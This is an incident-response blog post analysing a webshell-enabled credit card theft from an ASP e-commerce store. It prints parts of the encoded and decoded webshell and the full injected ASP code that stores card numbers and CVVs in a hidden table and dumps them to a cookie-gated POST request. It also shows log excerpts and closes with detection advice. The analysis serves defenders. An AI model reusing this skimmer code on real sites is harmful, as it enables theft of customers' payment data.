A recent investigation into credit card fraud that was enabled by a webshell revealed several interesting methods used by the attacker. These methods are the subject of this blog, as well as providing some suggestions on what E-commerce companies can do to look for their own similar compromises.
Same Old Same Old
Our story begins like many others with a SQL injection run against one of the ASP files that provide the functionality of the E-commerce web store. The SQL injection statement ends with
which executes the @S string defined earlier in the statement as a long string of ASCII codes beginning with
(grab your ASCII table and decode these and you'll get INSERT INTO). The result of the SQL injection is to create an administrator account in the web store software.
Then, using the newly-created administrator account, the attacker uses an ASP file conveniently provided within the web store software itself to upload the webshell code. After this, the administrator account is no longer needed.
Lifting the Veil
Well, knock me down with a feather when I discovered that the webshell was not a malicious PHP file but instead an ASP file, and a VBScript encoded ASP at that. Here's a small portion:
YrxT sbVnjH/Ynh}4%+1Or#@&GksPktgnYSW.3=?nO,/4H+DhWMVxZM+mYnr8%mO`r ?1Dr2DR1nOSW.3rb@&frsP1EDM
+ OsbVn)U+O~1EDMnxDsk^nxsUrcMnYor^+cI5E/O U+D-nM.CDbC(Vnk`rnb:C|PIz1jSzK39r##@&9ksP:K[n)sW9+x
This file is 190 KB and packed with functionality, but this isn't obvious until it is decoded. I found a decoder (scrdec13.exe) and ran the webshell ASP file through it. Hopefully you'll agree the decoded webshell code snippet shown here now makes more sense:
<%@LANGUAGE=VBScript.Encode%> <%Option Explicit On Error Resume Next Server.ScriptTimeout=7200 Session.CodePage=65001 Session.LCID=2057 Dim aspTitle:aspTitle="AJS v1.9" Dim FSO:Set FSO=CreateObject("Scripting.FileSystemObject") Dim WshNetwork:Set WshNetwork=CreateObject("WScript.Network") Dim currentFile:Set currentFile=FSO.GetFile(Request.ServerVariables("PATH_TRANSLATED"))
This webshell allows the attacker to upload and download files to the web server, open Command Prompt windows, run SQL commands, edit files, and change file Modification timestamps. All of this is discovered by analyzing the decoded VBScript. But how is the attacker accessing the webshell from the Internet?
Sometimes You Find a Bright Penny
Looking through the webshell code, the following statement is spotted:
Ahhhh. There's the bright sunlight reflecting off the new penny. Let's take a look through the IIS logs to see if the query string x=a shows up anywhere:
2015-08-12 18:22:45 10.5.20.8 GET /Webstore/img/cp.asp x=a 443 - ?.?.66.166 2015-08-12 18:24:09 10.5.20.8 GET /Webstore/img/cp.asp x=a 443 - ?.?.66.166 2015-08-13 11:49:39 10.5.20.8 GET /Webstore/img/cp.asp x=a 443 - ?.?.99.230 2015-08-18 17:29:27 10.5.20.8 GET /Webstore/img/cp.asp x=a 443 - ?.?.113.119 2015-10-03 03:23:09 10.5.20.8 GET /Webstore/img/cp.asp x=a 443 - ?.?.235.8 2015-10-21 03:35:46 10.5.20.8 GET /Webstore/portal/process.asp x=a 443 - ?.?.42.174 2015-10-25 06:02:53 10.5.20.8 GET /Webstore/portal/process.asp x=a 443 - ?.?.174.129 2015-11-03 02:42:44 10.5.20.8 GET /Webstore/portal/process.asp x=a 443 - ?.?.185.191 2015-11-17 02:19:31 10.5.20.8 GET /Webstore/portal/process.asp x=a 443 - ?.?.90.30 2016-08-05 15:11:10 10.5.20.8 GET /Webstore/portal/process.asp x=a 443 - ?.?.65.51
Oh… how nice. We see lots of activity for a few months, including the webshell being renamed and moved, and then a long break. That seems strange, but at least we are seeing accesses. We also see the attacker connecting from many different IP addresses.
Looking a little deeper into what happens after we see the "x=a" entry, we see groups of entries similar to the following:
2015-09-03 03:23:09 10.5.20.8 GET /Webstore/img/cp.asp x=a 443 - ?.?.235.8 2015-09-03 03:23:12 10.5.20.8 GET /Webstore/img/cp.asp mode=style 443 - ?.?.235.8 2015-09-03 03:23:12 10.5.20.8 GET /Webstore/img/cp.asp mode=jquery 443 - ?.?.235.8 2015-09-03 03:23:12 10.5.20.8 GET /Webstore/img/cp.asp mode=jscript 443 - ?.?.235.8 2015-09-03 03:23:18 10.5.20.8 GET /Webstore/img/cp.asp mode=image&type=home 443 - ?.?.235.8 2015-09-03 03:23:18 10.5.20.8 GET /Webstore/img/cp.asp mode=image&type=dir 443 - ?.?.235.8 2015-09-03 03:23:18 10.5.20.8 GET /Webstore/img/cp.asp mode=image&type=up 443 - ?.?.235.8 2015-09-03 03:23:18 10.5.20.8 GET /Webstore/img/cp.asp mode=image&type=loading 443 - ?.?.235.8 2015-09-03 03:23:19 10.5.20.8 GET /Webstore/img/cp.asp mode=image&type=img 443 - ?.?.235.8 2015-09-03 03:23:19 10.5.20.8 GET /Webstore/img/cp.asp mode=image&type=unknown 443 - ?.?.235.8 2015-09-03 03:23:21 10.5.20.8 GET /Webstore/img/cp.asp mode=image&type=txt 443 - ?.?.235.8 2015-09-03 03:23:32 10.5.20.8 POST /Webstore/img/cp.asp mode=sql 443 - ?.?.235.8 2015-09-03 03:23:43 10.5.20.8 POST /Webstore/img/cp.asp mode=explorer 443 - ?.?.235.8 2015-09-03 03:24:39 10.5.20.8 POST /Webstore/img/cp.asp mode=loadFile 443 - ?.?.235.8 2015-09-03 03:24:56 10.5.20.8 POST /Webstore/img/cp.asp mode=saveFile 443 - ?.?.235.8 2015-09-03 03:25:05 10.5.20.8 POST /Webstore/img/cp.asp mode=changeModified 443 - ?.?.235.8
The first eleven entries are common to all accesses to the webshell as part of its initialization. Then the actual commands the attacker wants to run, such as sql, explorer, loadFile, saveFile, and changeModified are sent by the attacker.
Running the webshell on a virtual machine gives the following GUI (yes, names have been changed to protect the innocent):
All this is used to represent this image:
Pretty cool that all functionality is contained within the single ASP file. However, the webshell was only used to make other changes to files on the web server that allowed the attacker to dip into the customer credit card piggy bank at will. Let's take a look at those.
Out With the Old and In with the New
What a forensic examiner expects to see when credit cards are being exfiltrated is an encrypted dump file stored on the server that is periodically uploaded to some offsite location, or even encrypted card data sent out via specially-crafted DNS queries or port 443 traffic. But this attack is different, as it uses the E-commerce web store SQL database itself to store the stolen card numbers until they are read out by the attacker. Who needs steganography when you can store the stolen card numbers right under the web administrator's nose?
What the attacker did was to create a new table in the web store's SQL database (let's call it PiggyBank) and then make some changes to some other ASP files in the E-commerce payment processing software that manipulate this table in the following way:
- Store card numbers (as well as expiration dates and CVC/CVV codes) and their associated order number in the PiggyBank table whenever a purchase is made.
- Read the card numbers out in blocks.
- Delete the card numbers in blocks.
The attacker modified the ErrorLog.asp file (remember, this is not the actual file name) with additional code that accomplishes everything in the previous three bullets. This new code looks like this (and again, I want to state clearly and emphatically that I have changed certain things). First the code that adds a card number:
If Request("PaymentSubmitted") = "Go" Then Set cnnS = Server.CreateObject("ADODB.Connection") cnnS.Open scDSN If Err.Number = 0 Then cnnS.Execute "INSERT INTO PiggyBank (OId, CNo, CPass, CM, CY) VALUES(" & Session("OrderNum") & "-" & scPre & ", '" & Request("CardNumber") &
"', '" & Request("CVCCVV2") & "', '" & Request("expMonth") & "', '" & Request("expYear")
& "')" End If cnnS.Close End If
So that is how card information gets stored in the PiggyBank table whenever a purchase is made. To read or delete card numbers from the PiggyBank table, this code is used:
If Request.Cookies("StealCC") <> "" Then Server.ScriptTimeout=7200 Session.CodePage=65001 Session.LCID=2057 Response.Buffer=true Response.Write "<pre>" Response.Write vbNewLine If Request("act") = "get" OR Request("act") = "del" Then Set cnnS = Server.CreateObject("ADODB.Connection") cnnS.Open scDSN If Request("act") = "del" Then cnnS.Execute "DELETE PiggyBank WHERE Id <= " & Request("OrderNum") Else strSQL = ""&_ "SELECT S.Id, S.CNo, S.CPass, S.CM + '/' + S.CY, C.name, C.lastName, C.address, C.address2, C.city, C.state, C.stateCode, C.zip, C.phone, C.countryCode, C.email"&_ " FROM PiggyBank AS S"&_ " JOIN Orders AS O ON O.idOrder = S.OId"&_ " JOIN Customers AS C ON C.idcustomer = O.idCustomer"&_ " WHERE S.Id >= " & Request("OrderNum") & " ORDER BY S.Id" set rS = cnnS.Execute(strSQL) If Err.Number = 0 Then rS.MoveFirst Do While NOT rS.EOF For Each column In rS.Fields Response.Write column.Value & "|" Next Response.Write vbNewLine Response.Flush rS.MoveNext Loop End If rS.Close End If cnnS.Close End If Response.Write "</pre>" Response.End EndIf
There are several interesting things going on in this code. Right in the beginning we see a call to Request.Cookies to see if the current session comes from a browser that has the "StealCC" cookie saved. This prevents this code from being executed by anyone other than the actual attacker, since the "StealCC" cookie name would be unique.
Next, we see that there must be "act=get" or "act=del" parameters provided during the browser session, but a search through the web server logs does not find a single occurrence of these, even when all combinations of actual letters or their ASCII equivalents (for example %61 for 'a') are used. As it turns out, the attacker has hidden these parameters by using a POST method to access the E-commerce web site, rather than a GET.
In fact, the web page the attacker accesses whenever cards are read or deleted from the PiggyBank table is the homepage.asp file that all customers use to access the E-commerce web site. It is only the attacker's use of POST (and the "StealCC" cookie) that enables the code within ErrorLog.asp to be triggered. So, when customers access homepage.asp, they get the company web store home page. When the attacker accesses homepage.asp, credit cards are read out of the PiggyBank table (as shown below) or deleted.
A quick look at the PiggyBank table confirms these actions are taking place:
The "act=get" request returns a plain-text web page to the attacker containing all new credit card entries into the PiggyBank table since the last deletion, along with other PII associated with the credit card that the malicious code reads from the Customers table, as shown here (edited of course):
2023839|43............32|xx9|06/18|FirstName|LastName|StreetAddress||City||State|Zip|Phone|US|Email| 2023840|43............80|xx0|02/19|FirstName|LastName|StreetAddress||City||State|Zip|Phone|US|Email| 2023841|52............65|xx4|07/19|FirstName|LastName|StreetAddress||City||State|Zip|Phone|US|Email| 2023842|44............00|xx9|11/19|FirstName|LastName|StreetAddress||City||State|Zip|Phone|US|Email| 2023843|45............94|xx8|08/19|FirstName|LastName|StreetAddress||City||State|Zip|Phone|US|Email| 2023844|51............25|xx1|04/18|FirstName|LastName|StreetAddress||City||State|Zip|Phone|US|Email| 2023845|51............25|xx1|09/18|FirstName|LastName|StreetAddress||City||State|Zip|Phone|US|Email| 2023846|54............47|xx4|12/18|FirstName|LastName|StreetAddress||City||State|Zip|Phone|US|Email| 2023847|48............10|xx5|04/20|FirstName|LastName|StreetAddress||City||State|Zip|Phone|US|Email|
One particularly mystifying point is this: how does the attacker know what order number should be used to read or delete blocks of cards from the PiggyBank table? The key to figuring this out is to look at the way the "get" and "del" code is written. The "get" code reads entries from the PiggyBank table that are >= OrderNum and the "del" code deletes entries that are <= OrderNum.
But what is the value of OrderNum? This needs to be provided by the attacker during the POST operation (for example, as "homepage.asp?act=del&OrderNum=12345"). Well, we already know this does not show up anywhere in the logs, so we can conclude only one thing:
The attacker can predict the future.
The Attacker Can Not Predict the Future
No, I have not lost my mind or suffer from indecision. But I thought of how absurd it is to think that the only way for this malicious code to work is for the attacker to know the future value of OrderNum when accessing the PiggyBank table.
So I thought about this some more. Since there is no way to predict the value of OrderNum in the future, there must be some other way of determining it. Newsflash: The database and the E-commerce software knows the value of OrderNum!
The natural order of access to the PiggyBank table would be to first "get" all the new cards placed into it since the last time they were read and deleted, and then to "del" them. Looking again at the code for ErrorLog.asp, I realized that the attacker could POST something like "homepage.asp?act=get&OrderNum=1" and get all the entries from the PiggyBank table whose OrderNum's were >= 1. Since this returns results back to the attacker showing all cards and customer info, including the order numbers, the attacker can just look at the last entry in the results and see the order number last entered into the PiggyBank table. Then the attacker can do a second POST containing "homepage.asp?act=del&OrderNum=23456" or whatever the number is to delete everything.
When the web server logs are searched for POSTs to homepage.asp, they come in pairs, 3 to 5 seconds apart, once a week, as shown below, which validates my theory. The first POST reads the cards and the second POST deletes them. The attacker takes a drink from the credit card stream once a week.
2016-09-07 05:51:06 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.55.5 2016-09-07 05:51:11 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.55.5 2016-09-14 07:06:45 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.83.100 2016-09-14 07:06:49 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.83.100 2016-09-21 16:28:14 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.71.145 2016-09-21 16:28:18 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.71.145 2016-09-28 15:04:14 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.60.37 2016-09-28 15:04:18 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.60.37 2016-10-04 07:39:37 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.123.236 2016-10-04 07:39:41 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.123.236 2016-10-11 07:29:20 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.63.196 2016-10-11 07:29:24 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.63.196 2016-10-18 05:56:51 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.45.129 2016-10-18 05:56:55 10.5.20.8 POST /Webstore/homepage.asp - 443 ?.?.45.129
Now, you might be wondering how ErrorLog.asp gets processed whenever a purchase is made or whenever the attacker wants to read or delete card numbers from the database. This was accomplished by putting the above malicious code into a VBScript Sub, not a Function, within ErrorLog.asp and calling that Sub whenever ErrorLog.asp is included into another ASP file via
This include statement was added to another ASP file that is included in almost every ASP file in the E-commerce software package, including homepage.asp! Therefore, whenever any ASP page from the web store is processed, the ErrorLog.asp file will be activated and the malicious code given an opportunity to execute.
The advice provided by Professor "Mad-Eye" Moody in Harry Potter and the Goblet of Fire says it best: CONSTANT VIGILANCE. For those of us working in information security, protecting information and information systems does require constant vigilance. You can never let your guard down. A network or system that is secure today may not be secure tomorrow. So, you have to always keep watching for the tell-tale signs of an intrusion or compromise.
Consider the investigation that motivated me to write this blog. The company E-commerce server was compromised four months before authorities alerted them of fraudulent activity, and remained compromised for six months after the identified fraudulent activity window closed. In total, the company web server was compromised for sixteen months.
How could the piggy bank in our scenario have been better protected? How could the company have discovered their breach earlier? Let's look at some of the ways this could have been done:
- Be on the lookout for SQL injection attacks. Whether scanning logs for EXEC strings, any of the typical SQL database commands (INSERT, SELECT, FROM, etc), as well as the almost-always present "--" codes, early detection of a SQL injection is crucial to limiting the scope of the compromise. A good Web-Application Firewall (WAF) or IDS/IPS would assist with this detection. Please note that you may encounter plenty of false positives when searching for INSERT and other SQL keywords and, with experience, learn how to weed these out.
- Add encoded VBScript files to the list of suspicious files that are scanned for.
- Periodically review tables in the database to verify no rogue tables have been added.
- Periodically verify the hashes of all E-commerce software files to verify that they have not been altered, except through documented software revisions.
- Perform all security patches to the E-commerce software and the web server operating system on a regular basis and follow the patch instructions to the letter. In this case, the E-commerce software security patch was applied three months after the web server was already compromised, and so did nothing to stop the existing compromise.
It is unfortunate that this compromise was not detected for over a year, but that is sometimes the case. When IT staff do not know what to look for, when third-party organizations are responsible for maintaining software updates and security patches, and when logs are not examined on a regular basis, then a compromise will go undetected. This is why it is so important to obtain and maintain DSS PCI compliance.
It is also important to note that websites (and thus the websevers that host them) are constantly being scanned, leading to log files that can become very large. Wading through hundreds of thousands, or millions, of log entries is another acquired skill. In my next blog I'm going to focus on this activity in a way that will allow you to begin examining your own logs for suspicious activity.
Remember, there are often no signs that a compromise has occurred. But no signs does not indicate the absence of a compromise, which is why it is necessary to go on a threat hunt and look for them.